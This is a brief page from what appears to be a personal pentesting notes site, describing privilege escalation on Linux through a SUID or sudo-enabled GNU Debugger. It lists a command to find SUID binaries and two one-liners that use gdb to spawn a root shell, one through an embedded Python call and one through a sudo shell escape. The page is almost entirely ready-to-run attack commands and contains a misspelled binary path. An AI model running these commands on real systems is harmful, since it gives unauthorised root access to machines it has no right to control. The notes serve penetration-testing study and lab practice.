> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/privesc/sudo-+-gtfobins/usr-bin-gdb.md).

# /usr/bin/gdb

GNU Debugger(GDB) has the suid bit and I can get the root shell with it.

find / -perm /4000 2>/dev/null

**#find this**

/usr/bin/gbd

```
#shell escape
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

#root
sudo gdb -nx -ex '!sh' -ex quit
```
